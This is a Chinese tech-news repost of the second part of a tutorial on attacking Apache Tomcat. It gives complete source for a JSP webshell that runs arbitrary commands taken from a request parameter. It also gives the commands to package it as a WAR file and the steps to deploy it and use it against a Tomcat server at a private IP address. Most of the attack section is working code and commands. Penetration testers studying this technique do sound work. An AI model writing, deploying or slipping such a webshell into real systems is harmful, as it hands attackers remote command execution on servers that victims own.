设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 数据 手机
当前位置: 首页 > 站长资讯 > 外闻 > 正文

攻击Tomcat的多种姿势(2)

发布时间:2019-02-14 05:20 所属栏目:16 来源:嘶吼专业版
导读:一旦执行了上述命令,我们就可以直接获得一个webshell了,如下图所示: 生成JSP webshell 接下来,我们就来看看如何生成和部署webshell来获得Tomcat应用中的执行命令。 首先,我们需要写一个webshell并且打包成war

一旦执行了上述命令,我们就可以直接获得一个webshell了,如下图所示:

攻击Tomcat的多种姿势

生成JSP webshell

接下来,我们就来看看如何生成和部署webshell来获得Tomcat应用中的执行命令。

首先,我们需要写一个webshell并且打包成war格式。我们可以使用下面的代码来写一个webshell:

  1. <%@ page import="java.io.*" %> 
  2. <% 
  3.    String cmd = request.getParameter("cmd"); 
  4.    String output = ""; 
  5.    if(cmd != null) { 
  6.       String s = null; 
  7.       try { 
  8.          Process p = Runtime.getRuntime().exec(cmd,null,null); 
  9.          BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
  10.          while((s = sI.readLine()) != null) { output += s+" 
  11. "; } 
  12.       }  catch(IOException e) {   e.printStackTrace();   } 
  13.    } 
  14. %> 
  15. <%=output %> 

保存代码为index.jsp文件,然后使用下列命令来打包:

  1. mkdir webshell 
  2. cp index.jsp webshell/ 
  3. cd webshell 
  4. jar -cvf ../webshell.war * 

攻击Tomcat的多种姿势

执行完这条命令,你就能生成一个war文件,你可以将这个war文件部署在Tomcat应用中。

如下图所示,你可以看到,我已经成功上传并部署了webshell.war文件,现在我们点击这个文件来执行:

攻击Tomcat的多种姿势

在执行/webshell时,你会得到一个404错误页面,现在再执行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

访问了上述URL后,你会得到一个命令执行的表单,现在你就可以在这个表单上任意执行cmd命令了,如图:

攻击Tomcat的多种姿势

本文到此结束,希望大家有所收获。

(编辑:ASP站长网)

网友评论
推荐文章
    热点阅读